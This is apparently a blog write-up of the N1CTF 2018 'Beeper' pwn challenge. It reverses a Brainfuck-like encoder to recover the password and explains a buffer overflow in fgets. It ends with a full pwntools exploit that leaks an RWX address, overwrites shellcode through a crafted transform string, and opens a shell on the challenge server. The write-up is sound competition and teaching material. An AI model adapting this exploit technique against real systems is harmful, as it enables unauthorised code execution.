N1CTF 2018 PWN Beeper Write-up

Introduction

At the first glance of this challenge, I thought it was reverse challenge + menu challenge on pwn. However, I found that it was reverse challenge + shellcode challenge.

Program Analysis

The core part of this challenge is an encoding algorithm, which takes two argument. The first argument is the target string to be encoded. The second argument is a transform string, which is used for encoding the target string. The transform string is consisted of a few characters, each of them performs one operation:

h: ++target_address;
o: --target_address;
r: ++*(Byte*)0x2029f8;
a: --*(Byte*)0x2029f8;

[ XXXX ]: loop on string XXXX until *(Byte*)(target_address) reaches 0
u: --*(Byte*)target_address

{ YYYY }: loop on string YYYY until *(Byte*)(0x202a00) reaches 0
m: ++*(Byte*)(0x202a00)

N: *(Byte*)(0x202a00) = *(Byte*)(0x2029f8);

The first task in this challenge is reverse the algorithm above and input a string. After encoding the string, we need the encoded string is equal to the required string.
The transform string for login is “hhhhhhhhhhhhhhhhh[ur]N{1m}ooooooooooooooooorrrrr[ur]N{1m}haaaa[au]N{1m}hrrr[ur]N{1m}haaa[au]N{1m}hrrraar[ur]N{1m}haaaarr[au]N{1m}hr[ur]N{1m}haa[au]N{1m}hrar[ur]N{1m}haaraa[au]N{1m}haa[ur]N{1m}haarr[au]N{1m}hrarr[ur]N{1m}haarar[au]N{1m}hraar[ur]N{1m}ha[au]N{1m}hrrr[ur]N{1m}haa[au]N{1m}”
After some simple calculation, we can get the password below:
BokuWaDokoNiIruNo?

Vulnerability Analysis

Then we reach a menu. At first glance, I thought it was a menu challenge on heap. But I soon found that there is only one info leak vulnerability there. Therefore, I need to find another method.
After reconsidering the encoding algorithm, I found that the base address of target string and transform string is close in memory space. Moreover, there is an obvious buffer overflow of the fgetsfunctions in this challenge, which can take far more bytes than required.
Then I realised it was a shellcode challenge. We need to leak the base address of shellcode first. Then trigger logout and input the payload to overwrite the transform string to overwrite the shellcode. Since the shellcode is located in a region mapped with RWX, we can overwrite the shellcode without any problem.

Exploit plan

After finding the true intention of this challenge, the exploit plan is easy.
Leak the base address of the shellcode first. Then overflow the target_address with the leaked address and overwrite the transform string with crafted string to overwrite shellcode.
During the exploitation, I worry about that the actual length of the payload may exceed the permitted length of string. So I take a stupid way to overwrite the shellcode and it takes me a lot of time. The good thing is that my payload is short enough.
After finishing overwriting the shellcode, trigger buy function to execute the shellcode and get shell.

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("47.98.57.19", 23333);
elif(DEBUG == 1):
    r = process("./beeper");
elif(DEBUG == 2):
    r = process("./beeper");
    gdb.attach(r, 'source script.py');

def halt():
    while(True):
            log.info(r.recvline());

originalString = "hhhhhhhhhhhhhhhhh[ur]N{1m}ooooooooooooooooorrrrr[ur]N{1m}haaaa[au]N{1m}hrrr[ur]N{1m}haaa[au]N{1m}hrrraar[ur]N{1m}haaaarr[au]N{1m}hr[ur]N{1m}haa[au]N{1m}hrar[ur]N{1m}haaraa[au]N{1m}haa[ur]N{1m}haarr[au]N{1m}hrarr[ur]N{1m}haarar[au]N{1m}hraar[ur]N{1m}ha[au]N{1m}hrrr[ur]N{1m}haa[au]N{1m}";


def show(index):
    r.recvuntil(">>");
    r.sendline("1");
    r.recvuntil("number:");
    r.sendline(str(index));

def remove(index):
    r.recvuntil(">>");
    r.sendline("2");
    r.recvuntil("remove");
    r.sendline(str(index));

def buy():
    r.recvuntil(">>");
    r.sendline("3");
    r.sendline();

def logout():
    r.recvuntil(">>");
    r.sendline("4");

def login():
    r.recvuntil("password:");
    log.info("%s" % password);
    password = password.ljust(0x20, '\x00');
    r.sendline(password);

def exploit():
    r.recvuntil("password:");
    password = "BokuWaDokoNiIruNo?";
    log.info("%s" % password);
    r.sendline(password);

    remove(2);
    remove(0);
    show(0);
    r.recvuntil("phone number:");
    mappedAddr = u64(r.recv(8));
    log.info("mapped address: 0x%x" % mappedAddr);
    logout();
    password2 = "\x86\x13\x81\x09\x62\xff\x44\xd3\x3f\xcd\x19\xb0\xfb\x88\xfd\xae\x20\xdf";
    payload = password2.ljust(0x68, 'A');
    payload += p64(mappedAddr);
    payload += "h"*15 + "r"*0x14 + "N{1m}";#$0x14
    payload += "h"*1  + "r"*8 + "N{1m}"; #0x1c
    payload += "o"*4  + "r"*4 + "N{1m}";#0x20
    payload += "h"*6  + "r"*8 + "N{1m}";#0x28
    payload += "o"*15 + "r"*0 + "N{1m}";
    payload += "h"*3  + "r"*6 + "N{1m}";#0x2e
    payload += "h"*3  + "r"*0 + "N{1m}";
    payload += "h"*1  + "r"*0 + "N{1m}";
    payload += "o"*3  + "r"*0x17 + "N{1m}";#0x45
    payload += "h"*13 + "r"*0x13 + "N{1m}";#0x58
    payload += "o"*12 + "r"*0x15 + "N{1m}";#0x6d
    payload += "h"*3  + "r"*5 + "N{1m}";#0x72
    payload += "o"*10 + "r"*5 + "N{1m}";#0x77
    payload += "o"*1 + 'r'*0x18 + "N{1m}"; #0x8f
    payload += "h"*13 + "r"*0xc + "N{1m}";#0x9b
    payload += "h"*13 + "r"*6 + "N{1m}"; #0xa1
    payload += "o"*21 + "r"*13 + "N{1m}"; #0xae
    payload += "h"*18 + "r"*0 + "N{1m}";#0xae
    payload += "o"*19 + "r"*0xc + "N{1m}"#0xba
    payload += "h"*15 + "r"*7 + "N{1m}"#0xc1
    payload += "o"*2 + "r"*2 + "N{1m}"#0xc3
    payload += "o"*3 + "r"*16 + "N{1m}" #0xd3
    payload += "h"*7 + "r"*6 + "N{1m}" #0xd9
    payload += "h"*4 + "r"*1 + "N{1m}" #0xda
    payload += "o"*3 + "r"*7 + "N{1m}" #0xe1
    payload += "h"*5 + "r"*4 + "N{1m}" #0xe5
    payload += "o"*25 + "r"*9 + "N{1m}" #0xee
    payload += "h"*22 + "r"*10 + "N{1m}";#0xf8

    payload += "h"*2 + "r"*0x41 + "N{1m}";
    payload += "h" + "a"*13 + "N{1m}";
    payload += "h" + "r"*(0x64-0x2c) + "N{1m}";
    payload += "h" + "r"*(0xa0-0x64) + "N{1m}";
    payload += "h" + "a"*0xf + "N{1m}";

    payload += "\x00";
    log.info("payload length: 0x%x" % len(payload));
    r.sendline(payload);
    buy();
    r.interactive();


exploit();

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.